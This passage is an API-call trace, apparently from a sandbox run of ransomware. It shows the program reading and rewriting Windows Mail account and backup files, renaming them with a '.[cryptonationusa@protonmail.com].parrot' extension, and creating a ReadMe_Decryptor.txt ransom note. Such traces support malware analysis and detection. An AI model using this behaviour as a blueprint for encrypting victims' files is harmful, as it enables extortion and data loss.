hTemplateFile=0x0) returned 0x26c [0085.430] GetFileType (hFile=0x26c) returned 0x1 [0085.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178cb8 [0085.441] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.441] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0085.442] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.443] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x2a0, lpOverlapped=0x0) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.443] GetLastError () returned 0x0 [0085.443] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0085.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d2b8 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x223f868 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x223fa50 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223f868 | out: hHeap=0x5b0000) returned 1 [0085.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3178cb8 [0085.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223fa50 | out: hHeap=0x5b0000) returned 1 [0085.444] WriteFile (in: hFile=0x26c, lpBuffer=0x3178cb8*, nNumberOfBytesToWrite=0x3c8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3178cb8*, lpNumberOfBytesWritten=0x18eed4*=0x3c8, lpOverlapped=0x0) returned 1 [0085.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.445] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.445] CloseHandle (hObject=0x26c) returned 1 [0085.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x68a3e8 [0085.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x6a9260 [0085.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3e8 | out: hHeap=0x5b0000) returned 1 [0085.446] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0085.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223f310 | out: hHeap=0x5b0000) returned 1 [0085.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0085.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aacb8 [0085.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.450] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.450] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0085.451] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.451] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x6c8, lpOverlapped=0x0) returned 1 [0085.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0085.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.452] GetLastError () returned 0x0 [0085.452] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d2b8 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0085.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0085.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178cb8 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3178ea0 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179170 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178ea0 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31795a8 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179170 | out: hHeap=0x5b0000) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x223e050 [0085.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31795a8 | out: hHeap=0x5b0000) returned 1 [0085.453] WriteFile (in: hFile=0x26c, lpBuffer=0x223e050*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x223e050*, lpNumberOfBytesWritten=0x18eed4*=0x7e8, lpOverlapped=0x0) returned 1 [0085.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e050 | out: hHeap=0x5b0000) returned 1 [0085.454] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.454] CloseHandle (hObject=0x26c) returned 1 [0085.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x68a3e8 [0085.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x6a9260 [0085.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3e8 | out: hHeap=0x5b0000) returned 1 [0085.455] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0085.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0085.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0085.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aacb8 [0085.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.457] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.458] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.459] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.459] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.459] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1 [0085.459] lstrcmpW (lpString1="old", lpString2=".") returned 1 [0085.459] lstrcmpW (lpString1="old", lpString2="..") returned 1 [0085.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0085.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c0e0 [0085.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.460] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.461] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.461] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.462] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.462] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.462] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0085.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2b8 [0085.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.463] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.463] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0085.464] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.464] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0085.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0085.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.474] GetLastError () returned 0x0 [0085.502] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.502] WriteFile (in: hFile=0x1fc, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0085.594] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.594] WriteFile (in: hFile=0x1fc, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0085.601] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.601] CloseHandle (hObject=0x1fc) returned 1 [0085.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6aca90 [0085.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x3183ed0 [0085.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0085.678] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0085.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0085.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c188 [0085.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0085.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0085.686] GetFileType (hFile=0x1fc) returned 0x1 [0085.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178cb8 [0085.697] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.697] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0085.734] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.735] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0085.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.748] HeapFree (in: 